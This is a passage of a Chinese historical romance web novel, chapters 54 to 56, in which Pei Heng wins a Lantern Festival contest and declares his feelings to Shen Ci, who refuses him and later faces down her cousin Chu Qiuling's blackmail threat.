这细微的动作却没逃过裴珩的眼睛,他不明所以的看了过来,“可是发生了什么事?” 沈瓷偷偷的瞥了裴珩一眼,这么丢人的事儿她当然不想说,她摇了摇头。 只是脸却悄悄的红了。 裴珩顺着她的视线看过去,看到了那挂着的一排花灯,“可是有喜欢的?” 他问的自然,沈瓷的头却摇的宛如拨浪鼓,“没有。” 她只是不大明白为什么灯谜那么难。 “前头的花灯更好看一些。”裴珩看了看时辰,倒是没怎么着急。 礼部承办的比试尚未开始,外头热热闹闹围了不少人,魁首的奖赏是一盏晶莹剔透的琉璃蝴蝶灯,往年都是裴姝各种央求裴珩才愿意去,可今年他却一反常态,早早的报了名。 裴姝今年没来缠他,裴珩也只当做不知。 那花灯裴珩有信心能够拿到,却没有信心可以送出去。 二人心里都存了事,倒也没注意到彼此眼中的情绪,沈瓷巴不得离那些看不懂的灯谜远一些,听裴珩这般说,立刻答应下来,“我们去那边看看。” 沈瓷的速度有一些快,谁曾想竟迎面撞上了秦月。 秦月看见她的时候也是一脸的惊讶,“沈瓷?” “秦月?” 秦月不认识裴珩,眼看她和一个陌生男子在一起,自然忍不住的猜测,“这是你未婚夫?” “?” 秦月看着沈瓷全须全尾的,这些日子那抓心挠肺的难受到底是缓解了些,她和沈瓷算得上从小一起长大,虽有诸多不对付,可也没闹到你死我活的地步。 沈瓷退亲这事儿在金陵闹到沸沸扬扬,秦月心里不大得劲,但苦于彼此没什么交集,她也不好往忠毅伯府送拜帖。 如今见着人后,她便顾不上别的,径直凑了过来,“你不是刚刚退亲?又定亲了?” 秦月说的小声,但沈瓷并不习惯秦月的突然靠近,下意识的往后退了一步,差点儿要撞上裴珩。 “小心。” 沈瓷慌乱的点了点头,立刻站好。 她刚要和秦月解释,耳边就传来了另一道声音,“原来你就是沈瓷?” 沈瓷:? 是一个姑娘的声音,语气有些气急败坏的,显然是来者不善。 今天究竟怎么了? 秦月看了眼对方,又看了一眼沈瓷,用眼神询问道:你认识? 沈瓷不动神色的摇头,她去何处认识? “你又得罪人了?”秦月轻声问道。 沈瓷:“……” 这说的都是什么话? “没。”沈瓷压低声音说话,“我根本不认识她。” 二人说话的声音很轻,对面的姑娘听不见,但裴珩却听得清清楚楚。 他有些忍不住的想,沈姑娘从前的日 子也许很多姿多彩。 裴珩尚在思索,沈瓷却已经开始发问,“你是…?” 沈瓷有些疑惑的开口,她确信自己没遇见过她,对方说的话也让沈瓷明白她不认识自己,只是听说过她。 不是她从前在平江得罪的人。 那就是来金陵之后惹上的麻烦,这般来势汹汹的… 沈瓷心里唯有两个人选。 一个是李三,一个就是孟四,她见过李三,那如今这个…就是另一个。 “孟四姑娘。” 孟靖淑睁大眼睛,“你认识我?” 沈瓷不过是猜测,但瞧着反应就知道没有猜错,“孟姑娘有事?” 孟靖淑倒也不是有事,只是她真心爱慕韩嵩,自然介意差点儿和韩嵩定亲的人。 见不着人的时候她心里不舒坦,如今见着了人后她更加不舒服。 也没人告诉她,沈瓷长得这般好看。 “无事。”孟靖淑随意的说话,她方才听见有人喊了沈瓷,这才头脑发热的追过来看看,见到人之后目的也达到了,只是先开口的人是她,要不说点什么,总是说不过去的。 “自从…那件事之后,我心中一直担忧,现在见沈姑娘安好,我也就放心了。” 孟靖淑硬着头皮瞎扯,沈瓷听得直皱眉头,但也没想着要和孟靖淑起冲突,稍稍的应付了一句就要告辞。 孟靖淑木着一张脸没有动,可秦月却在那张脸上瞧见了隐隐的优越,着实让人厌烦。 更让她奇怪的还是沈瓷,竟还能这么心平气和的和她说话? 这太阳是打西边出来了? 秦月恨铁不成钢的瞪了沈瓷一眼,轻描淡写的问道,“她就是捡了你不要的男人的那个孟靖淑?” 沈瓷:“……” 孟靖淑:“!!!” 秦姑娘是知道怎么气人的,一句话把所有的矛盾都挑了出来,孟靖淑脸色剧变,气急败坏的瞪着秦月,“你胡说八道什么?” “谁胡说了?谁都知道沈瓷主动退亲的啊,她为何难受?你睁着眼睛说什么瞎话。”秦月是和沈瓷不对付,但她更烦孟靖淑这样的。 跟有病似得。 “你…你…” “你什么你啊?你难道是结巴不成?”秦姑娘这张嘴半点不饶人,孟靖淑差点儿要被她给气哭,她看着沈瓷又看了看她身后的男子,刚要开口反驳就接触到了裴珩冰冷的目光。 他站在沈瓷的身后,眼里没什么温度,“梦姑娘,慎言。” 孟靖淑一个激灵回过神来,匆匆的撂下两句话就飞快的走远。 沈瓷看了眼身后的人,猜测也许是孟靖淑认出了裴珩才这般识趣。 秦月全然不知缘由,倒是洋洋得意,忍不住数落起她来,“你如今怎么连她也怕?” 沈瓷按了按额头,又一次感慨金陵太小。 “不过你还没回答我的问题。”秦月拉着沈瓷的手走到一边对着她咬耳朵,沈瓷看着秦月挽上来的手心里头怪怪的。 她们之前关系不好吧? 可沈瓷却没甩开,就这么一个愣神被拉到了一旁,“这是你的未婚夫吗?” 沈瓷:“……” “不是。”沈瓷知道裴珩就在自己身后,可这会儿她连往后看的勇气都没有,沈姑娘头疼不已,偏偏她了解秦月的性子,要是不回答只怕要一直纠缠,思及此她只能找借口,“这是我表哥。” “表哥?”秦月自然晓得沈瓷的表哥是哪两个,只是她有些奇怪,“你不是有两个表哥吗?怎么这儿只有一个?” 那是因为两个表哥都不在,这个表哥也不是她的。 沈瓷木着一张脸,在心中腹诽。 “难道她们说你拒了韩家的婚事,是因为喜欢上了自家表哥这件事,是真的?”秦月说的愈发小声,沈瓷只觉得两眼一黑。 “…不是。” 这都是什么乱七八糟的传言? “没事儿,表哥也成的。”秦月认真说道,又不是没见过亲上加亲。 沈瓷真真半句话都不想多说,甚至都开始下起了逐客令,“你可还有事?你若是无事我就先走了…” 再待下去当真不知秦月还会说出什么话来。 “别走啊…”秦月间沈瓷要走,立刻开口说话。 “你要去哪儿玩,我能不能跟你一块儿去?”秦月眼巴巴的看着沈瓷,“我一个人,都不知道要去哪。” “上一回遇见你的时候不是有朋友陪着你吗?” “她们都是为了巴结我爹爹的,才不是真心和我当朋友的。”秦月有些不太高兴的说道,来了金陵之后她也不见得多开心,今儿个好不容易遇见沈瓷,她才稍稍的开心了些,虽说从前不对付,可谁让这儿只有她们说熟人? “我们一起去玩好不好?”秦月眼中的情绪太过强烈,这眼神无端端的触动了沈瓷,也许是她们怀念着同一个地方,在秦月的请求下她竟鬼使神差的答应下来。 “可我要问一问表哥的意见。” “成啊,我们这会儿去问。”秦月不给沈瓷反悔的机会,拉着她的手走到了裴珩的面前,而后用一种期待的眼神看着沈瓷。 原本想偷偷过来询问的沈瓷:“……” 她看着秦月再一次的告诫自己,下一次出门一定要好好的看一看黄历。 在秦月的期待下,沈瓷骑虎难下,她踟躇的站在裴珩面前,有些为难的开了口,“表,表哥。” 裴珩疑惑的抬眸,沈瓷却不给裴珩任何发问的机会,着急忙慌的开口说话,“秦姑娘想和我们一起去看花灯,行,行吗?” 沈瓷眼中有着清晰可见的请求,比起平时安静的沈姑娘,显然这会儿的她更加鲜活些。 裴珩想起了去年的那盏花灯,那时候的她也是如此。 犹犹豫豫的,带着她自己都不曾发现的期待,明亮的眼睛一直望着他,让他生不出拒绝来。 而他也和从前一样,并不舍得让沈瓷等太久,“嗯。” 沈瓷松了一口气,秦月也松了一口气,她高兴的拉着沈瓷的手走在前头,“我们要去哪里玩?” “去看花灯。”沈瓷揉了揉自己的头,只觉得隐隐作痛。 “金陵比平江热闹好多。”秦月一边走一边说话,走到一处摊位前秦月立刻兴奋的招呼沈瓷看,“你看那个你看那个,像不像之前你和陈亭抢的那个?” 沈瓷只觉得头更疼了,她恨不得将秦月的嘴给捂上,“你低声些…” 难道光彩吗? “但是这些花灯真的好漂亮。”秦月忍不住的感慨着,两人一边走一边说话,大多数时候都是秦月在说话,沈瓷偶尔说上一句,她们拥有共同的回忆,即便这回忆对沈瓷而言不大好,可依旧珍贵。 裴珩走在她们身后不远处,依稀听得见秦月说话,裴珩并无听墙角的打算,倒不是裴世子风光霁月,只是这人选不大对,若说话的人不是秦月,他也许会多信一些。 谁让牡丹的事儿还历历在目? 一路上裴珩买了不少东西,无论是糖人还是糖葫芦,他都买了两份,秦月高高兴兴的接过,把裴珩夸了又夸。 殊不知裴世子也很满意,因为秦月的缘故,沈瓷压根就想不起拒绝,虽然他更想和沈瓷独处,可这样也很不错。 秦月拿着糖葫芦,又去和沈瓷咬耳朵,“沈瓷,我觉得亲上加亲也不是不成。” “我…”沈瓷只觉得头疼,她要怎么告诉秦月,这个表哥不是她的。 第54章 第54章“只要你愿意, 没有什么是受…… 沈瓷没去看秦月,一些话多说多错,但凡不说她就可以装作什么都不知道。 而秦姑娘也不介意沈瓷一直不说话,事实上从方才开始,她就已经瞧出端倪,沈瓷有两位表哥,但这里只有一位,而且还是单独出来的。 秦月想到这里,只觉得自己知道了什么了不得的秘密,她看着手中的糖葫芦,认真道,“你放心,我肯定不会告诉别人的。” 沈瓷:“?” 秦月到底在想些什么东西? 沈瓷有心想要解释两句,可现在这样的情况,根本不知道解释什么好,她揉了揉额头决定忽略这些事,“我们还是去看花灯吧。” 秦月没反驳,二人就这么诡异的达成了共识,一块儿去看花灯。 沈瓷漫无目的,秦月也刚来金陵没多久,压根不知道要去哪里,裴珩便说他要去参加礼部举办的比试。 “沈家表哥你这么厉害吗?”秦月的眼睛都亮了起来,显然是对这一金陵盛会好奇已久,她只知道沈瓷有两个表哥,压根不知道她的表哥到底是谁,自然不会知道楚修筠和楚景澄才学不俗。 原本根本没往这上头去想,如今听到这话只觉得幸运极了。 沈瓷听见这个奇奇怪怪的称呼,实在是有些一言难尽。 她张了张嘴,将要解释的话全部都吞了回去,果然,说了一个谎之后就要用无数的谎言去圆。 裴珩却觉得这个称呼很是新鲜,沈家表哥? 倒是个不错的称呼。 裴珩毫无心理负担的受了,对曾经谎报军情的秦月,也和颜悦色起来,“嗯。” “沈瓷,我们去看看。”秦月高高兴兴的说话,“你表哥要去参加比试,我们去加油。” 沈瓷:“……” 秦月不等沈瓷说话便拉着她往前走去,裴珩走在她身后不远处,清晰的看见沈瓷脸上的无奈,瞧着甚是有趣。 三人到的时候,比试还有一炷香的时候才开始,秦月也很爱凑热闹,拉着沈瓷往人群里窜去,她握的并不紧,沈瓷可以轻松的挣脱,但她到底没有挣脱。 秦月并不知道沈瓷心中的诸多纠结,高高兴兴的去打听消息,沈瓷站在边上被迫听了许多,但听到最多的还是秦月的声音。 “原来要比试那么多?” “沈瓷你看,那盏灯是不是很漂亮?” “也不知道沈家表哥能不能赢。” 秦月紧张的不得了,这沈家表哥也是越喊越顺口,沈瓷揉了揉自己的额头,不太愿意去动脑子思考。 “沈瓷,你说你表哥会赢吗?”秦月认真的问道,每一句话都问的沈瓷心惊胆颤,这话到底要她怎么回答? “…应该?” 裴世子可以在一众天骄中金榜题名,高中状元,这花灯会的比试总不在话下,可沈瓷这会儿心虚的不得了,说起话来也是棱模两可。 倒是秦月听见这话又多看了她好几眼,“沈瓷,你怎么回事呀?” “?”沈瓷看了秦月一眼,开始反思自己是不是什么地方露馅了,谁知秦姑娘只是用一种嫌弃的眼神看着她,“你从前可不会说这样的话。” 秦月心说要是从前的沈瓷,可从来不会谦虚。 “毕竟,我及笄了。”沈瓷淡淡开口。 怎么还会和从前一样? 秦月没想明白她这话是什么意思,听见之后自然的回了一句,“我也及笄了呀。” 她们俩同岁的,难道沈瓷忘了吗? 秦月只觉得莫名其妙。 沈瓷:“……” 她还是什么话都不要说得好,秦月不见得听得懂,“还是好好的看比试吧…” 秦月高高兴兴的去凑热闹,看到有趣的就和沈瓷说一句,沈瓷好脾气的应两声,事情到了这一步,她反而没有了太大的反应。 过了今日,她躲着点秦月就是… 想来秦月也是太寂寞才会来寻她一块儿玩,要知道从前她们见着对方可一点儿好脸色都没有。 沈瓷敛下心神,专心致志的看着擂台,秦月的模样看起来比她还要紧张,好似那上头的不是“沈家表哥”,而是秦家表哥。 只一个不注意,擂台上就发生了翻天覆地的变化。 “哇,沈家表哥居然这么厉害!”秦月真心实意的感慨,沈瓷抬眸看去,她从前只知道裴珩才华横溢,但她当真不知道裴珩居然这么厉害。 这…怪不得真正的沈家表哥总是自卑。 因为裴珩的缘故,这比试当真是毫无悬念,秦月看的目不转睛,沈瓷其实也没有多淡定,一开始她还能听得明白些,到最后差不多和秦月一样,满脑子只剩下了佩服二字。 “沈家表哥真厉害!” “嗯…”沈瓷这会儿已经不想去反驳什么,沈家表哥便沈家表哥吧。 那盏琉璃蝴蝶灯落到裴珩的手中,秦月眼巴巴的看了许久,沈瓷也是满脸的好奇,只不过她没说话而已。 秦月是个有分寸的人,即便再好奇也没有提出要看一看的意思。 “沈瓷你饿不饿?我们去吃汤圆。”秦月意犹未尽还想拉着沈瓷到处玩,可秦府的家丁和嬷嬷已经找来,恭恭敬敬的请秦月回府。 秦月肉眼可见的不高兴起来,她其实并不怎么愿意回去,但也没有让人为难,“成吧。” “沈瓷,我回去了啊。”秦月说风就是雨,说来就来,说走就走,没给沈瓷半点反应的时间,沈瓷就这么眼睁睁的看着秦月走了,而后又看见她飞快的跑过来,“我真的走了啊。” “…路上小心些。”沈瓷轻声说道。 秦月飞快的看了她一眼,像是有什么话要说,可最终她什么都没说,将话咽了回去。 秦月其实想问沈瓷下一回能不能找她一块儿玩,又想起她们从前的关系,这话到底没能说出来。 沈瓷有些莫名,倒是裴珩看的明白,出于好意的开了口,“她是想问你,下一回还能不能找你。” 简简单单的心思,很好明白。 沈瓷没说话,也没有追问,因为秦月离开的缘故,她骤然松了一口气,但随之而来的却是尴尬,她还记得自己扯的慌,忙不迭的向裴珩道歉。 “无碍。”裴珩并不介意,可正是这份大度让沈瓷如坐针毡,她只想快一点离开这里。 “也不知道表哥他们在什么地方。”沈瓷轻声呢喃。 裴珩敏锐的感觉到沈瓷并不想和自己独处,他大概知晓是什么缘由,她的心思并不难猜测,思及此裴珩将手上的花灯递了过去,“送你。” 沈瓷看着近在咫尺的花灯,有些愣神,一时间没有弄明白裴珩这是何意,好一会儿才找回自己的声音,“裴世子…这花灯有些贵重。” 若这花灯人人都有,她想她会收下。 若这灯,是同去岁一样的缘由,她想,她也会收下。 可这花灯分明独一无二,沈瓷未必不明白,但正因为太明白,才想着要拒绝。 有什么事情好似变得不一样起来,这盏灯她没法收下,这盏灯后头代表的含义,她更是无法承受,“我受不起。” 她眼中的慌乱清晰可见,甚至隐隐的想要逃避,裴珩早已有预料事情会是这般,她从来都只当他是永宁候世子,即便时常见面,沈瓷也只当他是表哥的表哥。 从不会有旁的想法。 也许在旁人看来,这是她的清醒克制。 但裴珩明白,她是根本没有往这上头想。 金陵并非人人都想当永宁候府的世子夫人,至少,沈瓷没有这想法。 无论她是出于什么原因,这一认知到底让裴珩挫败。 他也曾想过循序渐进,想过徐徐图之,可若是再想下去,怕是什么都晚了,裴珩可不想再来一个韩嵩。 “沈瓷。”裴珩郑重其事的喊了她的名字,这是他2回 喊她的名字,他的声音清晰的传到沈瓷的耳朵里,“你受得起。” “只要你愿意,没有什么是受不起的。” 沈瓷脑海中一片的空白,她看着面前的人,有些没明白他在说什么,她很想问一问裴珩究竟知不知道自己在说什么。 她没能很好的反应过来,只觉得一切都乱了,乱的一塌糊涂。 乱的她不知所措。 花灯近在咫尺,脑海中却闪过许许多多的过往。 一些曾经记住的,忽略的,这会儿统统都想 了起来,沈瓷不知要做出什么反应才是正确的,也不知道事情为何变成了这般。 她心中没有喜悦,没有高兴,唯余惶恐和不安。 事情为何会变成这般? 沈瓷的心中满是疑问,却没有任何人可以回答她,她惶惶不安只想要逃避,那句受不起并非妄自菲薄,而是真的受不起。 “可我…不愿。” 沈瓷的声音很轻很轻,她无法思考,只余下本能。 她本能的要远离危险,远离麻烦。 只想安安静静的度日。 第55章 第55章沈瓷,你在躲我 裴珩生平头一次被拒绝的这般彻底,面前的姑娘莫说是接受他的心意,只怕如今更是将他当做洪水猛兽般避之唯恐不及。 但裴珩并不后悔今日举动,他若再不言明,沈瓷永远都不会知晓他的心意。 “沈瓷,无论你心中是何想法,我想告诉你,我是认真的。”裴珩的声音很是温和,灯火阑珊下,让他整个人都显得温柔起来。 裴珩说的每一句话都在沈瓷的脑中回响,她不想听,却忘不掉。 沈瓷想,能不能不要再说下去。 这要她怎么回答?这要她怎么办? 她不知裴珩是真情还是假意,按照裴珩的家世地位,自然不需要同她虚情假意,可若让她相信这是真心… 沈瓷不知道要怎么说服自己相信。 那盏花灯到底没能送出去,可裴珩也没随意的处置,带回府上束之高阁。 那日的事情并没有什么人知道,沈瓷不想提及,裴珩自然不会多言,他二人都惯会掩人耳目,并未露出马脚。 裴姝瞧见哥哥书房的那盏花灯,倒是有所猜测,可饶是裴姑娘再大胆,再能胡思乱想也没有想过哥哥竟然被拒绝的彻底。 沈瓷回到府上之后,就开始变得不对劲起来,原本就不怎么爱出门,经此一役,恨不得每日都躲在府上。 她心里乱的一塌糊涂,任谁追问都搪塞,不是头疼就是腹痛,短短几日已经将她十几年没痛过的地儿都痛了一遍。 沈瓷一向听话乖巧,裴氏压根没往她装病这上头去想,见她脸色苍白还以为是上元节那日晚上受到了惊吓,将楚修筠和楚景澄两个喊到跟前数落了一通。 沈瓷见自己连累了两位表哥,心中愈发的不安,脸色更是难看了几分,楚修筠和楚景澄愈发的头疼,真想给亲表妹跪下,这要是让婶娘/阿娘看见,他们就是有几张嘴都说不清楚。 被裴氏训斥是再平常不过的事情,楚修筠和楚景澄都没怎么在意,但这件事传到楚大夫人的耳朵里,她这心里头又开始不得劲起来。 回来的这些日子她早就一经发现,楚修筠跟他们关系疏离,倒是和裴兰清关系更加的亲昵。 只是楚大夫人到底记得自己的身份,并没有太表露出来,可楚秋灵根本忍不住,嘀咕道,“怎么又是沈瓷?” 楚秋灵原本和沈瓷是没什么矛盾的,可这些日子她屡屡受挫,心中早就不满极了,她想不明白,都不是从小一块儿长大的,她们几个竟相处的这般好? 衬托的她跟个外人一般,明明沈瓷才是那个外姓的。 楚秋灵心里憋着一股火,暗暗计划着要找沈瓷的麻烦,只不过一连几日都没有找到什么合适的机会。 元宵之后的赏花宴,沈瓷哪儿都没有去,楚秋灵也是一样,可沈瓷是因为不愿出门,楚秋灵则是因为家中没有人愿意和她一起,楚秋灵一日不道歉,楚思怡就一日不会搭理人。 * 楚家发生的事情裴珩其实都清楚,他知道沈瓷病了有些担心,本想见一见沈瓷,谁知根本就没有这个机会,他还记得沈瓷当日认认真真的同他说,就当这件事没有发生过。 如今看来,沈姑娘说的没有发生过,怕是希望从没认识他。 裴珩差点儿要被气笑。 再一次听见沈瓷染了风寒的消息,裴珩就明白她是在躲着自己。 裴珩看着送上门的请柬,干脆利落的拒绝,他若是去了,沈瓷便不会去,她没有什么理由拒绝,只能装病,一回两回倒也罢了,三番四次只怕人人都要觉得她是个病秧子,对她有害无益。 倒不如,他不出现的好。 而沈瓷的想法真真叫裴珩猜了个正着,她看着那请柬,旁敲侧击的问思怡裴姝会不会去。 楚思怡点了点头,“她去的。” 楚思怡和裴姝的关系近日来突飞猛进,家中没人知晓是先前上元节时攒下的深厚情谊,沈瓷只是单纯觉得表妹好套话,“姝儿是一个人去吗?” “表哥有事。”楚思怡的这句话让沈瓷安心下来,舅母再来询问的时候她也没有再装病。 宴会并没有什么有趣,只是沈瓷不能继续躲着。 她没有瞧见裴珩,原本悬着的心也终于放松下来,只是自此养成了一个习惯,出门之前总会旁敲侧击的问一问裴珩去不去。 沈瓷找人套话专门找最单纯的两个,加上裴珩也的确忙碌,倒也没什么人发现问题。 不会碰上裴珩,沈瓷的病就好了起来,众人放心不少,去七星寺拜佛的事情就提上了日程。 众人很有默契的没有告诉楚秋灵,楚秋灵知晓之后发了好大一通脾气,软磨硬泡的也要去。 楚大夫人拗不过,只能带她出门。 七星寺比起青莲寺小了不少,七星寺供奉着月老,来这里的多是求姻缘的,沈瓷原本是不想来的,这会儿倒是跪在殿前恭恭敬敬的求月老,希望下一回自己的议亲可以顺利。 沈瓷想得简单,只要顺利的议亲,就不会有什么问题,全然不知上一回的议亲为何会半途而废。 沈瓷拜完了月老之后,又去禅房看经书,楚思怡原本陪着沈瓷,却因为忽然出现的裴珩睁大眼睛,“表哥,你怎么来了?” “嗯。”裴珩冲着楚思怡露出了温和的笑容,“忙完了公务,听说你们在此处就过来看看。” 楚思怡原本还疑惑裴珩为什么在此处,只不过被裴珩三言两语给糊弄过去。 沈瓷听见动静也躲不住,不得已走了出来。 因为先前出了青莲寺那样的事儿,惹得众人都很担心,这一回要来七星寺烧香,裴氏捐了不少的香油钱,今日寺庙闭寺,香客只有他们几人。 但裴姝是一块儿过来的,所以裴珩出现在这里也并不突兀。 “思怡,帮我一个忙。” 裴珩找了个借口支开楚思怡,楚思怡看了一眼沈瓷,见沈瓷没有反驳便高高兴兴的走了。 只留下了裴珩和沈瓷二人。 怎么看都万分尴尬,沈瓷硬着头皮打招呼,“裴世子…好,好巧。” “不巧。”裴珩语气平淡,“我是专程来找你的。” 沈瓷:“……” “若是这回找不着你,我便想着去忠毅伯府寻你。”裴珩的语气很平静,可说出口的话却让沈瓷一点也招架不住,她没去问裴珩为什么要找自己,也没问裴珩到底想做什么。 只是一味的沉默着。 本以为这样就可以将这些事敷衍过去,偏偏裴珩半点都不让她敷衍,“沈瓷,你在躲我。” 竟是连粉饰太平都不愿。 沈瓷的确在躲他,但这话她如何会承认? “裴世子多虑了…我不过是身子不适…”沈瓷找着借口,但无论她说什么,裴珩始终平静,看的沈瓷开始心慌起来。 “你为何躲我?”裴珩明知故问。 沈瓷避无可避,她知道裴珩想说什么,而裴珩也知道沈瓷究竟为何躲着自己,“你总要对我公平些。” 沈瓷往后退了一步,“…我今日是来求姻缘的。” 裴珩可不会痴心妄想的觉得沈瓷求得是和他的姻缘,这话听着刺耳极了,他却没什么立场拒绝,被这般明明白白的拒绝,也是生平罕见,偏偏到了这个地步,裴珩也没想过要放弃。 江南多水患,他已上奏陛下,待映梦成亲之后便前往扬州,此事陛下已经应允。 若能顺利解决水患,想来也更有底气面对母亲。 裴珩原本是不想提的,可他现在已经明白,若是不提,沈瓷永远都不会知晓。如今他将自己的打算告知沈瓷,这对于裴珩而言何尝不是一种改变。 “我知你心中顾虑什么,这些事我会解决。”裴珩并非空口说白话,而是早已经付诸于行动,“待我归来,我会堂堂正正的去府上提亲。” 若母亲觉得他未来的妻子对他没有任何的帮助,那他只要自己走的更高,更远,想来也不会有任何人反对他娶心上人。 沈瓷听明白了,可她宁愿自己听不懂。 她心有不安,并不愿在这里听裴珩说这些,沈瓷恍惚的想着,这和私相授受到底有什么区别? 她想总还是有区别的,至少他们只是说了说话,并没有授受什么,沈瓷在心理安慰着自己,可下一刻裴珩就将自己的玉佩硬塞给沈瓷。 那是他身份的象征,上头刻着他的名字,“你信我。” 沈瓷:“……” 沈瓷拿着这块烫手山芋,很想问一问裴珩这状元究竟是怎么考上的?这哪里是什么承诺? 分明就是把柄,若有人撞见,状告她二人私通。 大抵他们俩都要被抓去沉塘。 温润的玉佩落在沈瓷的掌心当中,她想要还回去,但裴珩半点不给机会,借口还有一些公务要处理走的潇洒自在。 那玉佩就这么被沈瓷给带回了家。 她气恼的将玉佩扔到了匣子里头眼不见为净。 自从那玉佩到了沈瓷手里之后,裴世子也愈发的肆无忌惮起来,她不仅能收到裴珩送的首饰,还能收到不少的书信。 书信放在首饰盒的夹层里头,那些匣子都是能人巧匠做的,若非专程去查看,也根本发现不了里头藏着东西。 沈瓷只当做不知道,偏偏裴珩一定要提醒她。 那些书信被她全部找了出来,一封都没有拆开,全部都藏了起来,有时候沈瓷也很头疼,她从前压根不会做这些偷偷摸摸的事情,现在可倒好,成日里做些见不得人的,她总觉得自己迟早有一日要被抓去沉塘。 到时候裴珩自然不会有事,她可怎么办? 沈瓷胡思乱想了几日,想不出什么更好的法子,索性也不想了,日子该怎么过还是怎么过,玉佩被她藏在角落,和书信扔在一块儿。 裴珩忙的也没有时间去参加什么宴会,沈瓷本以为表姐和思怡会看出什么来,后来才知道裴珩原本就不怎么参加宴会。 不仅如此,还不怎么同他们一块儿出游。 所以裴珩不出现她们不会觉得奇怪,只觉得表哥去了翰林院,果然越来越忙。 沈瓷觉察到了什么,但她不愿意往那方面去想,只当不知。 事已至此,沈瓷也无法左右裴珩的行为,因为表姐婚事将近,舅母如今的心思都放在表姐的身上,并没有空给沈瓷相看人家。 沈瓷心中茫然,不知是福是祸。 这天表姐和思怡出门去了,她原本也要去,但无奈来了小日子,腹痛难忍,这才待在府上,她坐在廊下晒着太阳,好不容易才舒坦了些,一个意想不到的人却找上了她。 楚秋灵自从回到金陵之后,和兄弟姐妹的关系并不好。 她骄纵自傲,并不屑对旁人低头。 楚秋灵和楚思怡的矛盾是因为一对大阿福,虽然和她没有什么直接关系,可那对大阿福在沈瓷的屋子里放着,多少也有些关系。 是以楚秋灵和沈瓷多是进水不犯河水,如今竟然会自降身段过来找沈瓷,沈瓷只觉得新鲜。 “大表姐。”沈瓷轻声打着招呼。 楚秋灵却挥了挥手让跟着自己的丫鬟退下,而后又让沈瓷身边的丫鬟退下,秋叶冬竹没动,楚秋灵轻嗤一声,看着沈瓷说话,“我有话单独要跟你说。” 沈瓷便让秋叶冬竹退下。 “不知大表姐有什么事?”沈瓷轻声询问。 谁知楚秋灵美眸一转,凌厉的看向她,“沈瓷,你好大的胆子!” 楚秋灵张牙舞爪的很是唬人,但沈瓷可没有被她吓到,“不知大表姐所为何事?” 楚秋灵见不得沈瓷这般平静的模样,将那日在七星寺她和裴珩私下见面的事情说了出来,沈瓷皱起了眉头,她当日不过想想,谁能知晓竟然还真的被人瞧见。 还是被楚秋灵给看见了。 “你待如何?”沈瓷不动声色的问道,她心中有些慌,但很快就冷静下来,那日七星寺闭寺,不会有别的香客,楚秋灵是偷偷混进去的。 而她和裴珩并没有说过几句话,且并没有什么亲昵举动,旁人瞧见她和裴珩站在一处根本不会往旁的地方去想。 沈瓷看了楚秋灵一眼,想到了某些可能—— 楚秋灵怕是不认识裴珩。 听着虽然有些奇怪,但事实便是如此,楚秋灵刚回金陵没有多久,而裴珩这些时日并未来过忠毅伯府。 “我和阿娘替你找了一户好人家,男方是我爹爹的旧部,如今在扬州,他们不日就会来府上提亲,你只管嫁过去,日后离得远远的,再也不要来金陵。”楚秋灵说完自己的条件,恨恨的看向沈瓷,“不然我就将这件事捅出去,让你吃不了兜着走。” “你如今的名声如何,你不会不知道吧?” 沈瓷算是听明白了,“你威胁我?” “你只说答应不答应吧。” 楚秋灵洋洋得意,但却没在沈瓷脸上看到什么惊慌和害怕,她正疑惑,又见沈瓷笑了起来。 楚秋灵神色一僵,“你…笑什么?” “楚秋灵,人不聪明没有关系,但不能自作聪明。”沈瓷慢慢的靠近她,她进一步,楚秋灵就后退一步,“笨一些也没关系,但不能蠢。” “你说谁蠢?”楚秋灵气恼万分,恨不得冲上去撕了沈瓷。 “我的婚事轮不到你来主张,你说我同旁人私相授受,可有什么证据?空口白牙的诬陷姊妹,又是什么好名声?” “我明明看见的,我还看见你收了他的玉佩。”楚秋灵气急败坏,将自己知道的事儿全部都抖了出来。 沈瓷心中冷笑,看的倒是齐全。 她当日就觉得这是烫手山芋,如今果然应验。 “那你便将这件事情抖出去,我们不如好好的瞧一瞧,到底谁的下场更惨。”沈瓷冷声说道,眼眸中冰冷一片。 楚秋灵赌她不敢,她也赌楚秋灵不敢。 楚秋灵是个蠢货,但大舅母不是,即便大舅母也不聪明,到底活了那么些年,不会任由楚秋灵这么莽撞的来质问她。 “一荣俱荣,一损俱损,表姐成亲在即,若是出了这等丑闻,还是你告发的,你觉得你会如何?”沈瓷心中慌乱,面上却是半点不显,她没有再楚秋灵面前露怯,一步步的逼近,“我若是你,今日绝不会来。” 沈瓷没骗楚秋灵,她若是楚秋灵,压根不会管这些闲事。 倘若真的对人恨之入骨,想要让她身败名裂,也不会主动的暴露底牌,先会将这件事告诉大舅母,任由大舅母出面和二舅母周旋,二舅母虽然待她好,但遇见这样的事儿却不得不谨慎,一定会调查,她一无所知也不会有所防备。 届时一击即中,真相大白时即便裴珩愿意负责,可她的未来多半是毁了。 “我和你往日无冤近日无仇,你为何非要同我过不去?” “哼,我和他们才是亲姐妹,怎么就偏偏对你那么好?就连哥哥也…”楚秋灵恨恨的瞪了沈瓷一眼,“你当我是不敢说吗?” “那你便试一试。” 楚秋灵原本是来找沈瓷麻烦的,如今被沈瓷占据上风压的抬不起头,她只觉得面子里子都丢的干干净净,撂下一句狠话就飞快的跑出去。 沈瓷看见她走了之后,才揉了揉颤抖的胳膊,可如今还不是放松的时候,她让秋叶和冬竹守在外头。 挖了个坑,亲自将那烫手山芋一般的玉佩和信笺,埋在了院子的假山石下头。 一边埋一边在心里数落裴珩。 第56章 第56章玉佩,我们都有啊 沈瓷腹痛难忍,原本就极其难受,如今又因为楚秋灵的缘故,额上直冒冷汗,这件事尚未了结,她还要想好对策才是。 楚秋灵偏激易怒,但她的心思很好猜,今日这件事楚秋灵一定会觉得自己受了委屈,会告诉大舅母。 大舅母和她哪里有什么情分可言?为了安抚楚秋灵,这件事也会被捅出来,她见过裴珩,这件事瞒不住。 但玉佩… 若她不认, 楚秋灵又能有什么法子? 难道要找人来搜她的院子?还是要去找裴珩对峙? 无论是哪一件事,楚秋灵都没法办到,按理沈瓷不用这么紧张,但谁让她当真问心有愧? 沈瓷只能猜到楚秋灵一定会将这件事说出去,只是不知道楚秋灵会全盘托出,还是自作聪明。 若是后者,事情就不会太麻烦。 可无论如何,这事儿总是逃不过的,沈瓷想了想,便决定铤而走险,先发制人。 “冬竹,扶我起来。” 沈瓷腹痛难忍,这会儿脸色苍白,却对秋叶端上来的红糖水视而不见。 “姑娘,您这是要去哪里?” 